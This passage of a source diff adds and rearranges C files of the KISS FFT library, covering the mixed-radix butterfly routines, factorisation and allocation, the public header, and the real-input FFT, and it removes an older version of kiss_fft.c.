scratch[6].i = -S_MUL(scratch[10].r,ya.i) - S_MUL(scratch[9].r,yb.i);
|
||||
|
||||
C_SUB(*Fout1,scratch[5],scratch[6]);
|
||||
C_ADD(*Fout4,scratch[5],scratch[6]);
|
||||
|
||||
scratch[11].r = scratch[0].r + S_MUL(scratch[7].r,yb.r) + S_MUL(scratch[8].r,ya.r);
|
||||
scratch[11].i = scratch[0].i + S_MUL(scratch[7].i,yb.r) + S_MUL(scratch[8].i,ya.r);
|
||||
scratch[12].r = - S_MUL(scratch[10].i,yb.i) + S_MUL(scratch[9].i,ya.i);
|
||||
scratch[12].i = S_MUL(scratch[10].r,yb.i) - S_MUL(scratch[9].r,ya.i);
|
||||
|
||||
C_ADD(*Fout2,scratch[11],scratch[12]);
|
||||
C_SUB(*Fout3,scratch[11],scratch[12]);
|
||||
|
||||
++Fout0;++Fout1;++Fout2;++Fout3;++Fout4;
|
||||
}
|
||||
}
|
||||
|
||||
/* perform the butterfly for one stage of a mixed radix FFT */
|
||||
static void kf_bfly_generic(
|
||||
kiss_fft_cpx * Fout,
|
||||
const size_t fstride,
|
||||
const kiss_fft_cfg st,
|
||||
int m,
|
||||
int p
|
||||
)
|
||||
{
|
||||
int u,k,q1,q;
|
||||
kiss_fft_cpx * twiddles = st->twiddles;
|
||||
kiss_fft_cpx t;
|
||||
int Norig = st->nfft;
|
||||
|
||||
kiss_fft_cpx * scratch = (kiss_fft_cpx*)KISS_FFT_TMP_ALLOC(sizeof(kiss_fft_cpx)*p);
|
||||
|
||||
for ( u=0; u<m; ++u ) {
|
||||
k=u;
|
||||
for ( q1=0 ; q1<p ; ++q1 ) {
|
||||
scratch[q1] = Fout[ k ];
|
||||
C_FIXDIV(scratch[q1],p);
|
||||
k += m;
|
||||
}
|
||||
|
||||
k=u;
|
||||
for ( q1=0 ; q1<p ; ++q1 ) {
|
||||
int twidx=0;
|
||||
Fout[ k ] = scratch[0];
|
||||
for (q=1;q<p;++q ) {
|
||||
twidx += fstride * k;
|
||||
if (twidx>=Norig) twidx-=Norig;
|
||||
C_MUL(t,scratch[q] , twiddles[twidx] );
|
||||
C_ADDTO( Fout[ k ] ,t);
|
||||
}
|
||||
k += m;
|
||||
}
|
||||
}
|
||||
KISS_FFT_TMP_FREE(scratch);
|
||||
}
|
||||
|
||||
static
|
||||
void kf_work(
|
||||
kiss_fft_cpx * Fout,
|
||||
const kiss_fft_cpx * f,
|
||||
const size_t fstride,
|
||||
int in_stride,
|
||||
int * factors,
|
||||
const kiss_fft_cfg st
|
||||
)
|
||||
{
|
||||
kiss_fft_cpx * Fout_beg=Fout;
|
||||
const int p=*factors++; /* the radix */
|
||||
const int m=*factors++; /* stage's fft length/p */
|
||||
const kiss_fft_cpx * Fout_end = Fout + p*m;
|
||||
|
||||
#ifdef _OPENMP
|
||||
// use openmp extensions at the
|
||||
// top-level (not recursive)
|
||||
if (fstride==1 && p<=5)
|
||||
{
|
||||
int k;
|
||||
|
||||
// execute the p different work units in different threads
|
||||
# pragma omp parallel for
|
||||
for (k=0;k<p;++k)
|
||||
kf_work( Fout +k*m, f+ fstride*in_stride*k,fstride*p,in_stride,factors,st);
|
||||
// all threads have joined by this point
|
||||
|
||||
switch (p) {
|
||||
case 2: kf_bfly2(Fout,fstride,st,m); break;
|
||||
case 3: kf_bfly3(Fout,fstride,st,m); break;
|
||||
case 4: kf_bfly4(Fout,fstride,st,m); break;
|
||||
case 5: kf_bfly5(Fout,fstride,st,m); break;
|
||||
default: kf_bfly_generic(Fout,fstride,st,m,p); break;
|
||||
}
|
||||
return;
|
||||
}
|
||||
#endif
|
||||
|
||||
if (m==1) {
|
||||
do{
|
||||
*Fout = *f;
|
||||
f += fstride*in_stride;
|
||||
}while(++Fout != Fout_end );
|
||||
}else{
|
||||
do{
|
||||
// recursive call:
|
||||
// DFT of size m*p performed by doing
|
||||
// p instances of smaller DFTs of size m,
|
||||
// each one takes a decimated version of the input
|
||||
kf_work( Fout , f, fstride*p, in_stride, factors,st);
|
||||
f += fstride*in_stride;
|
||||
}while( (Fout += m) != Fout_end );
|
||||
}
|
||||
|
||||
Fout=Fout_beg;
|
||||
|
||||
// recombine the p smaller DFTs
|
||||
switch (p) {
|
||||
case 2: kf_bfly2(Fout,fstride,st,m); break;
|
||||
case 3: kf_bfly3(Fout,fstride,st,m); break;
|
||||
case 4: kf_bfly4(Fout,fstride,st,m); break;
|
||||
case 5: kf_bfly5(Fout,fstride,st,m); break;
|
||||
default: kf_bfly_generic(Fout,fstride,st,m,p); break;
|
||||
}
|
||||
}
|
||||
|
||||
/* facbuf is populated by p1,m1,p2,m2, ...
|
||||
where
|
||||
p[i] * m[i] = m[i-1]
|
||||
m0 = n */
|
||||
static
|
||||
void kf_factor(int n,int * facbuf)
|
||||
{
|
||||
int p=4;
|
||||
double floor_sqrt;
|
||||
floor_sqrt = floor( sqrt((double)n) );
|
||||
|
||||
/*factor out powers of 4, powers of 2, then any remaining primes */
|
||||
do {
|
||||
while (n % p) {
|
||||
switch (p) {
|
||||
case 4: p = 2; break;
|
||||
case 2: p = 3; break;
|
||||
default: p += 2; break;
|
||||
}
|
||||
if (p > floor_sqrt)
|
||||
p = n; /* no more factors, skip to end */
|
||||
}
|
||||
n /= p;
|
||||
*facbuf++ = p;
|
||||
*facbuf++ = n;
|
||||
} while (n > 1);
|
||||
}
|
||||
|
||||
/*
|
||||
*
|
||||
* User-callable function to allocate all necessary storage space for the fft.
|
||||
*
|
||||
* The return value is a contiguous block of memory, allocated with malloc. As such,
|
||||
* It can be freed with free(), rather than a kiss_fft-specific function.
|
||||
* */
|
||||
kiss_fft_cfg kiss_fft_alloc(int nfft,int inverse_fft,void * mem,size_t * lenmem )
|
||||
{
|
||||
kiss_fft_cfg st=NULL;
|
||||
size_t memneeded = sizeof(struct kiss_fft_state)
|
||||
+ sizeof(kiss_fft_cpx)*(nfft-1); /* twiddle factors*/
|
||||
|
||||
if ( lenmem==NULL ) {
|
||||
st = ( kiss_fft_cfg)KISS_FFT_MALLOC( memneeded );
|
||||
}else{
|
||||
if (mem != NULL && *lenmem >= memneeded)
|
||||
st = (kiss_fft_cfg)mem;
|
||||
*lenmem = memneeded;
|
||||
}
|
||||
if (st) {
|
||||
int i;
|
||||
st->nfft=nfft;
|
||||
st->inverse = inverse_fft;
|
||||
|
||||
for (i=0;i<nfft;++i) {
|
||||
const double pi=3.141592653589793238462643383279502884197169399375105820974944;
|
||||
double phase = -2*pi*i / nfft;
|
||||
if (st->inverse)
|
||||
phase *= -1;
|
||||
kf_cexp(st->twiddles+i, phase );
|
||||
}
|
||||
|
||||
kf_factor(nfft,st->factors);
|
||||
}
|
||||
return st;
|
||||
}
|
||||
|
||||
|
||||
void kiss_fft_stride(kiss_fft_cfg st,const kiss_fft_cpx *fin,kiss_fft_cpx *fout,int in_stride)
|
||||
{
|
||||
if (fin == fout) {
|
||||
//NOTE: this is not really an in-place FFT algorithm.
|
||||
//It just performs an out-of-place FFT into a temp buffer
|
||||
kiss_fft_cpx * tmpbuf = (kiss_fft_cpx*)KISS_FFT_TMP_ALLOC( sizeof(kiss_fft_cpx)*st->nfft);
|
||||
kf_work(tmpbuf,fin,1,in_stride, st->factors,st);
|
||||
memcpy(fout,tmpbuf,sizeof(kiss_fft_cpx)*st->nfft);
|
||||
KISS_FFT_TMP_FREE(tmpbuf);
|
||||
}else{
|
||||
kf_work( fout, fin, 1,in_stride, st->factors,st );
|
||||
}
|
||||
}
|
||||
|
||||
void kiss_fft(kiss_fft_cfg cfg,const kiss_fft_cpx *fin,kiss_fft_cpx *fout)
|
||||
{
|
||||
kiss_fft_stride(cfg,fin,fout,1);
|
||||
}
|
||||
|
||||
|
||||
void kiss_fft_cleanup(void)
|
||||
{
|
||||
// nothing needed any more
|
||||
}
|
||||
|
||||
int kiss_fft_next_fast_size(int n)
|
||||
{
|
||||
while(1) {
|
||||
int m=n;
|
||||
while ( (m%2) == 0 ) m/=2;
|
||||
while ( (m%3) == 0 ) m/=3;
|
||||
while ( (m%5) == 0 ) m/=5;
|
||||
if (m<=1)
|
||||
break; /* n is completely factorable by twos, threes, and fives */
|
||||
n++;
|
||||
}
|
||||
return n;
|
||||
}
|
|
@ -0,0 +1,124 @@
|
|||
#ifndef KISS_FFT_H
|
||||
#define KISS_FFT_H
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <math.h>
|
||||
#include <string.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/*
|
||||
ATTENTION!
|
||||
If you would like a :
|
||||
-- a utility that will handle the caching of fft objects
|
||||
-- real-only (no imaginary time component ) FFT
|
||||
-- a multi-dimensional FFT
|
||||
-- a command-line utility to perform ffts
|
||||
-- a command-line utility to perform fast-convolution filtering
|
||||
|
||||
Then see kfc.h kiss_fftr.h kiss_fftnd.h fftutil.c kiss_fastfir.c
|
||||
in the tools/ directory.
|
||||
*/
|
||||
|
||||
#ifdef USE_SIMD
|
||||
# include <xmmintrin.h>
|
||||
# define kiss_fft_scalar __m128
|
||||
#define KISS_FFT_MALLOC(nbytes) _mm_malloc(nbytes,16)
|
||||
#define KISS_FFT_FREE _mm_free
|
||||
#else
|
||||
#define KISS_FFT_MALLOC malloc
|
||||
#define KISS_FFT_FREE free
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef FIXED_POINT
|
||||
#include <sys/types.h>
|
||||
# if (FIXED_POINT == 32)
|
||||
# define kiss_fft_scalar int32_t
|
||||
# else
|
||||
# define kiss_fft_scalar int16_t
|
||||
# endif
|
||||
#else
|
||||
# ifndef kiss_fft_scalar
|
||||
/* default is float */
|
||||
# define kiss_fft_scalar float
|
||||
# endif
|
||||
#endif
|
||||
|
||||
typedef struct {
|
||||
kiss_fft_scalar r;
|
||||
kiss_fft_scalar i;
|
||||
}kiss_fft_cpx;
|
||||
|
||||
typedef struct kiss_fft_state* kiss_fft_cfg;
|
||||
|
||||
/*
|
||||
* kiss_fft_alloc
|
||||
*
|
||||
* Initialize a FFT (or IFFT) algorithm's cfg/state buffer.
|
||||
*
|
||||
* typical usage: kiss_fft_cfg mycfg=kiss_fft_alloc(1024,0,NULL,NULL);
|
||||
*
|
||||
* The return value from fft_alloc is a cfg buffer used internally
|
||||
* by the fft routine or NULL.
|
||||
*
|
||||
* If lenmem is NULL, then kiss_fft_alloc will allocate a cfg buffer using malloc.
|
||||
* The returned value should be free()d when done to avoid memory leaks.
|
||||
*
|
||||
* The state can be placed in a user supplied buffer 'mem':
|
||||
* If lenmem is not NULL and mem is not NULL and *lenmem is large enough,
|
||||
* then the function places the cfg in mem and the size used in *lenmem
|
||||
* and returns mem.
|
||||
*
|
||||
* If lenmem is not NULL and ( mem is NULL or *lenmem is not large enough),
|
||||
* then the function returns NULL and places the minimum cfg
|
||||
* buffer size in *lenmem.
|
||||
* */
|
||||
|
||||
kiss_fft_cfg kiss_fft_alloc(int nfft,int inverse_fft,void * mem,size_t * lenmem);
|
||||
|
||||
/*
|
||||
* kiss_fft(cfg,in_out_buf)
|
||||
*
|
||||
* Perform an FFT on a complex input buffer.
|
||||
* for a forward FFT,
|
||||
* fin should be f[0] , f[1] , ... ,f[nfft-1]
|
||||
* fout will be F[0] , F[1] , ... ,F[nfft-1]
|
||||
* Note that each element is complex and can be accessed like
|
||||
f[k].r and f[k].i
|
||||
* */
|
||||
void kiss_fft(kiss_fft_cfg cfg,const kiss_fft_cpx *fin,kiss_fft_cpx *fout);
|
||||
|
||||
/*
|
||||
A more generic version of the above function. It reads its input from every Nth sample.
|
||||
* */
|
||||
void kiss_fft_stride(kiss_fft_cfg cfg,const kiss_fft_cpx *fin,kiss_fft_cpx *fout,int fin_stride);
|
||||
|
||||
/* If kiss_fft_alloc allocated a buffer, it is one contiguous
|
||||
buffer and can be simply free()d when no longer needed*/
|
||||
#define kiss_fft_free free
|
||||
|
||||
/*
|
||||
Cleans up some memory that gets managed internally. Not necessary to call, but it might clean up
|
||||
your compiler output to call this before you exit.
|
||||
*/
|
||||
void kiss_fft_cleanup(void);
|
||||
|
||||
|
||||
/*
|
||||
* Returns the smallest integer k, such that k>=n and k has only "fast" factors (2,3,5)
|
||||
*/
|
||||
int kiss_fft_next_fast_size(int n);
|
||||
|
||||
/* for real ffts, we need an even size */
|
||||
#define kiss_fftr_next_fast_size_real(n) \
|
||||
(kiss_fft_next_fast_size( ((n)+1)>>1)<<1)
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
|
@ -0,0 +1,159 @@
|
|||
/*
|
||||
Copyright (c) 2003-2004, Mark Borgerding
|
||||
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
* Neither the author nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include "kiss_fftr.h"
|
||||
#include "_kiss_fft_guts.h"
|
||||
|
||||
struct kiss_fftr_state{
|
||||
kiss_fft_cfg substate;
|
||||
kiss_fft_cpx * tmpbuf;
|
||||
kiss_fft_cpx * super_twiddles;
|
||||
#ifdef USE_SIMD
|
||||
void * pad;
|
||||
#endif
|
||||
};
|
||||
|
||||
kiss_fftr_cfg kiss_fftr_alloc(int nfft,int inverse_fft,void * mem,size_t * lenmem)
|
||||
{
|
||||
int i;
|
||||
kiss_fftr_cfg st = NULL;
|
||||
size_t subsize, memneeded;
|
||||
|
||||
if (nfft & 1) {
|
||||
fprintf(stderr,"Real FFT optimization must be even.\n");
|
||||
return NULL;
|
||||
}
|
||||
nfft >>= 1;
|
||||
|
||||
kiss_fft_alloc (nfft, inverse_fft, NULL, &subsize);
|
||||
memneeded = sizeof(struct kiss_fftr_state) + subsize + sizeof(kiss_fft_cpx) * ( nfft * 3 / 2);
|
||||
|
||||
if (lenmem == NULL) {
|
||||
st = (kiss_fftr_cfg) KISS_FFT_MALLOC (memneeded);
|
||||
} else {
|
||||
if (*lenmem >= memneeded)
|
||||
st = (kiss_fftr_cfg) mem;
|
||||
*lenmem = memneeded;
|
||||
}
|
||||
if (!st)
|
||||
return NULL;
|
||||
|
||||
st->substate = (kiss_fft_cfg) (st + 1); /*just beyond kiss_fftr_state struct */
|
||||
st->tmpbuf = (kiss_fft_cpx *) (((char *) st->substate) + subsize);
|
||||
st->super_twiddles = st->tmpbuf + nfft;
|
||||
kiss_fft_alloc(nfft, inverse_fft, st->substate, &subsize);
|
||||
|
||||
for (i = 0; i < nfft/2; ++i) {
|
||||
double phase =
|
||||
-3.14159265358979323846264338327 * ((double) (i+1) / nfft + .5);
|
||||
if (inverse_fft)
|
||||
phase *= -1;
|
||||
kf_cexp (st->super_twiddles+i,phase);
|
||||
}
|
||||
return st;
|
||||
}
|
||||
|
||||
void kiss_fftr(kiss_fftr_cfg st,const kiss_fft_scalar *timedata,kiss_fft_cpx *freqdata)
|
||||
{
|
||||
/* input buffer timedata is stored row-wise */
|
||||
int k,ncfft;
|
||||
kiss_fft_cpx fpnk,fpk,f1k,f2k,tw,tdc;
|
||||
|
||||
if ( st->substate->inverse) {
|
||||
fprintf(stderr,"kiss fft usage error: improper alloc\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
ncfft = st->substate->nfft;
|
||||
|
||||
/*perform the parallel fft of two real signals packed in real,imag*/
|
||||
kiss_fft( st->substate , (const kiss_fft_cpx*)timedata, st->tmpbuf );
|
||||
/* The real part of the DC element of the frequency spectrum in st->tmpbuf
|
||||
* contains the sum of the even-numbered elements of the input time sequence
|
||||
* The imag part is the sum of the odd-numbered elements
|
||||
*
|
||||
* The sum of tdc.r and tdc.i is the sum of the input time sequence.
|
||||
* yielding DC of input time sequence
|
||||
* The difference of tdc.r - tdc.i is the sum of the input (dot product) [1,-1,1,-1...
|
||||
* yielding Nyquist bin of input time sequence
|
||||
*/
|
||||
|
||||
tdc.r = st->tmpbuf[0].r;
|
||||
tdc.i = st->tmpbuf[0].i;
|
||||
C_FIXDIV(tdc,2);
|
||||
CHECK_OVERFLOW_OP(tdc.r ,+, tdc.i);
|
||||
CHECK_OVERFLOW_OP(tdc.r ,-, tdc.i);
|
||||
freqdata[0].r = tdc.r + tdc.i;
|
||||
freqdata[ncfft].r = tdc.r - tdc.i;
|
||||
#ifdef USE_SIMD
|
||||
freqdata[ncfft].i = freqdata[0].i = _mm_set1_ps(0);
|
||||
#else
|
||||
freqdata[ncfft].i = freqdata[0].i = 0;
|
||||
#endif
|
||||
|
||||
for ( k=1;k <= ncfft/2 ; ++k ) {
|
||||
fpk = st->tmpbuf[k];
|
||||
fpnk.r = st->tmpbuf[ncfft-k].r;
|
||||
fpnk.i = - st->tmpbuf[ncfft-k].i;
|
||||
C_FIXDIV(fpk,2);
|
||||
C_FIXDIV(fpnk,2);
|
||||
|
||||
C_ADD( f1k, fpk , fpnk );
|
||||
C_SUB( f2k, fpk , fpnk );
|
||||
C_MUL( tw , f2k , st->super_twiddles[k-1]);
|
||||
|
||||
freqdata[k].r = HALF_OF(f1k.r + tw.r);
|
||||
freqdata[k].i = HALF_OF(f1k.i + tw.i);
|
||||
freqdata[ncfft-k].r = HALF_OF(f1k.r - tw.r);
|
||||
freqdata[ncfft-k].i = HALF_OF(tw.i - f1k.i);
|
||||
}
|
||||
}
|
||||
|
||||
void kiss_fftri(kiss_fftr_cfg st,const kiss_fft_cpx *freqdata,kiss_fft_scalar *timedata)
|
||||
{
|
||||
/* input buffer timedata is stored row-wise */
|
||||
int k, ncfft;
|
||||
|
||||
if (st->substate->inverse == 0) {
|
||||
fprintf (stderr, "kiss fft usage error: improper alloc\n");
|
||||
exit (1);
|
||||
}
|
||||
|
||||
ncfft = st->substate->nfft;
|
||||
|
||||
st->tmpbuf[0].r = freqdata[0].r + freqdata[ncfft].r;
|
||||
st->tmpbuf[0].i = freqdata[0].r - freqdata[ncfft].r;
|
||||
C_FIXDIV(st->tmpbuf[0],2);
|
||||
|
||||
for (k = 1; k <= ncfft / 2; ++k) {
|
||||
kiss_fft_cpx fk, fnkc, fek, fok, tmp;
|
||||
fk = freqdata[k];
|
||||
fnkc.r = freqdata[ncfft - k].r;
|
||||
fnkc.i = -freqdata[ncfft - k].i;
|
||||
C_FIXDIV( fk , 2 );
|
||||
C_FIXDIV( fnkc , 2 );
|
||||
|
||||
C_ADD (fek, fk, fnkc);
|
||||
C_SUB (tmp, fk, fnkc);
|
||||
C_MUL (fok, tmp, st->super_twiddles[k-1]);
|
||||
C_ADD (st->tmpbuf[k], fek, fok);
|
||||
C_SUB (st->tmpbuf[ncfft - k], fek, fok);
|
||||
#ifdef USE_SIMD
|
||||
st->tmpbuf[ncfft - k].i *= _mm_set1_ps(-1.0);
|
||||
#else
|
||||
st->tmpbuf[ncfft - k].i *= -1;
|
||||
#endif
|
||||
}
|
||||
kiss_fft (st->substate, st->tmpbuf, (kiss_fft_cpx *) timedata);
|
||||
}
|
|
@ -1,427 +0,0 @@
|
|||
/*
|
||||
Copyright (c) 2003-2004, Mark Borgerding
|
||||
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
* Neither the author nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
|
||||
#include "_kiss_fft_guts.h"
|
||||
/* The guts header contains all the multiplication and addition macros that are defined for
|
||||
fixed or floating point complex numbers. It also delares the kf_ internal functions.
|
||||
*/
|
||||
|
||||
static kiss_fft_cpx *scratchbuf=NULL;
|
||||
static size_t nscratchbuf=0;
|
||||
static kiss_fft_cpx *tmpbuf=NULL;
|
||||
static size_t ntmpbuf=0;
|
||||
|
||||
#define CHECKBUF(buf,nbuf,n) \
|
||||
do { \
|
||||
if ( nbuf < (size_t)(n) ) {\
|
||||
free(buf); \
|
||||
buf = (kiss_fft_cpx*)KISS_FFT_MALLOC(sizeof(kiss_fft_cpx)*(n)); \
|
||||
nbuf = (size_t)(n); \
|
||||
} \
|
||||
}while(0)
|
||||
|
||||
|
||||
static void kf_bfly2(
|
||||
kiss_fft_cpx * Fout,
|
||||
const size_t fstride,
|
||||
const kiss_fft_cfg st,
|
||||
int m
|
||||
)
|
||||
{
|
||||
kiss_fft_cpx * Fout2;
|
||||
kiss_fft_cpx * tw1 = st->twiddles;
|
||||
kiss_fft_cpx t;
|
||||
Fout2 = Fout + m;
|
||||
do{
|
||||
C_FIXDIV(*Fout,2); C_FIXDIV(*Fout2,2);
|
||||
|
||||
C_MUL (t, *Fout2 , *tw1);
|
||||
tw1 += fstride;
|
||||
C_SUB( *Fout2 , *Fout , t );
|
||||
C_ADDTO( *Fout , t );
|
||||
++Fout2;
|
||||
++Fout;
|
||||
}while (--m);
|
||||
}
|
||||
|
||||
static void kf_bfly4(
|
||||
kiss_fft_cpx * Fout,
|
||||
const size_t fstride,
|
||||
const kiss_fft_cfg st,
|
||||
const size_t m
|
||||
)
|
||||
{
|
||||
kiss_fft_cpx *tw1,*tw2,*tw3;
|
||||
kiss_fft_cpx scratch[6];
|
||||
size_t k=m;
|
||||
const size_t m2=2*m;
|
||||
const size_t m3=3*m;
|
||||
|
||||
tw3 = tw2 = tw1 = st->twiddles;
|
||||
|
||||
do {
|
||||
C_FIXDIV(*Fout,4); C_FIXDIV(Fout[m],4); C_FIXDIV(Fout[m2],4); C_FIXDIV(Fout[m3],4);
|
||||
|
||||
C_MUL(scratch[0],Fout[m] , *tw1 );
|
||||
C_MUL(scratch[1],Fout[m2] , *tw2 );
|
||||
C_MUL(scratch[2],Fout[m3] , *tw3 );
|
||||
|
||||
C_SUB( scratch[5] , *Fout, scratch[1] );
|
||||
C_ADDTO(*Fout, scratch[1]);
|
||||
C_ADD( scratch[3] , scratch[0] , scratch[2] );
|
||||
C_SUB( scratch[4] , scratch[0] , scratch[2] );
|
||||
C_SUB( Fout[m2], *Fout, scratch[3] );
|
||||
tw1 += fstride;
|
||||
tw2 += fstride*2;
|
||||
tw3 += fstride*3;
|
||||
C_ADDTO( *Fout , scratch[3] );
|
||||
|
||||
if(st->inverse) {
|
||||
Fout[m].r = scratch[5].r - scratch[4].i;
|
||||
Fout[m].i = scratch[5].i + scratch[4].r;
|
||||
Fout[m3].r = scratch[5].r + scratch[4].i;
|
||||
Fout[m3].i = scratch[5].i - scratch[4].r;
|
||||
}else{
|
||||
Fout[m].r = scratch[5].r + scratch[4].i;
|
||||
Fout[m].i = scratch[5].i - scratch[4].r;
|
||||
Fout[m3].r = scratch[5].r - scratch[4].i;
|
||||
Fout[m3].i = scratch[5].i + scratch[4].r;
|
||||
}
|
||||
++Fout;
|
||||
}while(--k);
|
||||
}
|
||||
|
||||
static void kf_bfly3(
|
||||
kiss_fft_cpx * Fout,
|
||||
const size_t fstride,
|
||||
const kiss_fft_cfg st,
|
||||
size_t m
|
||||
)
|
||||
{
|
||||
size_t k=m;
|
||||
const size_t m2 = 2*m;
|
||||
kiss_fft_cpx *tw1,*tw2;
|
||||
kiss_fft_cpx scratch[5];
|
||||
kiss_fft_cpx epi3;
|
||||
epi3 = st->twiddles[fstride*m];
|
||||
|
||||
tw1=tw2=st->twiddles;
|
||||
|
||||
do{
|
||||
C_FIXDIV(*Fout,3); C_FIXDIV(Fout[m],3); C_FIXDIV(Fout[m2],3);
|
||||
|
||||
C_MUL(scratch[1],Fout[m] , *tw1);
|
||||
C_MUL(scratch[2],Fout[m2] , *tw2);
|
||||
|
||||
C_ADD(scratch[3],scratch[1],scratch[2]);
|
||||
C_SUB(scratch[0],scratch[1],scratch[2]);
|
||||
tw1 += fstride;
|
||||
tw2 += fstride*2;
|
||||
|
||||
Fout[m].r = Fout->r - HALF_OF(scratch[3].r);
|
||||
Fout[m].i = Fout->i - HALF_OF(scratch[3].i);
|
||||
|
||||
C_MULBYSCALAR( scratch[0] , epi3.i );
|
||||
|
||||
C_ADDTO(*Fout,scratch[3]);
|
||||
|
||||
Fout[m2].r = Fout[m].r + scratch[0].i;
|
||||
Fout[m2].i = Fout[m].i - scratch[0].r;
|
||||
|
||||
Fout[m].r -= scratch[0].i;
|
||||
Fout[m].i += scratch[0].r;
|
||||
|
||||
++Fout;
|
||||
}while(--k);
|
||||
}
|
||||
|
||||
static void kf_bfly5(
|
||||
kiss_fft_cpx * Fout,
|
||||
const size_t fstride,
|
||||
const kiss_fft_cfg st,
|
||||
int m
|
||||
)
|
||||
{
|
||||
kiss_fft_cpx *Fout0,*Fout1,*Fout2,*Fout3,*Fout4;
|
||||
int u;
|
||||
kiss_fft_cpx scratch[13];
|
||||
kiss_fft_cpx * twiddles = st->twiddles;
|
||||
kiss_fft_cpx *tw;
|
||||
kiss_fft_cpx ya,yb;
|
||||
ya = twiddles[fstride*m];
|
||||
yb = twiddles[fstride*2*m];
|
||||
|
||||
Fout0=Fout;
|
||||
Fout1=Fout0+m;
|
||||
Fout2=Fout0+2*m;
|
||||
Fout3=Fout0+3*m;
|
||||
Fout4=Fout0+4*m;
|
||||
|
||||
tw=st->twiddles;
|
||||
for ( u=0; u<m; ++u ) {
|
||||
C_FIXDIV( *Fout0,5); C_FIXDIV( *Fout1,5); C_FIXDIV( *Fout2,5); C_FIXDIV( *Fout3,5); C_FIXDIV( *Fout4,5);
|
||||
scratch[0] = *Fout0;
|
||||
|
||||
C_MUL(scratch[1] ,*Fout1, tw[u*fstride]);
|
||||
C_MUL(scratch[2] ,*Fout2, tw[2*u*fstride]);
|
||||
C_MUL(scratch[3] ,*Fout3, tw[3*u*fstride]);
|
||||
C_MUL(scratch[4] ,*Fout4, tw[4*u*fstride]);
|
||||
|
||||
C_ADD( scratch[7],scratch[1],scratch[4]);
|
||||
C_SUB( scratch[10],scratch[1],scratch[4]);
|
||||
C_ADD( scratch[8],scratch[2],scratch[3]);
|
||||
C_SUB( scratch[9],scratch[2],scratch[3]);
|
||||
|
||||
Fout0->r += scratch[7].r + scratch[8].r;
|
||||
Fout0->i += scratch[7].i + scratch[8].i;
|
||||
|
||||
scratch[5].r = scratch[0].r + S_MUL(scratch[7].r,ya.r) + S_MUL(scratch[8].r,yb.r);
|
||||
scratch[5].i = scratch[0].i + S_MUL(scratch[7].i,ya.r) + S_MUL(scratch[8].i,yb.r);
|
||||
|
||||
scratch[6].r = S_MUL(scratch[10].i,ya.i) + S_MUL(scratch[9].i,yb.i);
|
||||
scratch[6].i = -S_MUL(scratch[10].r,ya.i) - S_MUL(scratch[9].r,yb.i);
|
||||
|
||||
C_SUB(*Fout1,scratch[5],scratch[6]);
|
||||
C_ADD(*Fout4,scratch[5],scratch[6]);
|
||||
|
||||
scratch[11].r = scratch[0].r + S_MUL(scratch[7].r,yb.r) + S_MUL(scratch[8].r,ya.r);
|
||||
scratch[11].i = scratch[0].i + S_MUL(scratch[7].i,yb.r) + S_MUL(scratch[8].i,ya.r);
|
||||
scratch[12].r = - S_MUL(scratch[10].i,yb.i) + S_MUL(scratch[9].i,ya.i);
|
||||
scratch[12].i = S_MUL(scratch[10].r,yb.i) - S_MUL(scratch[9].r,ya.i);
|
||||
|
||||
C_ADD(*Fout2,scratch[11],scratch[12]);
|
||||
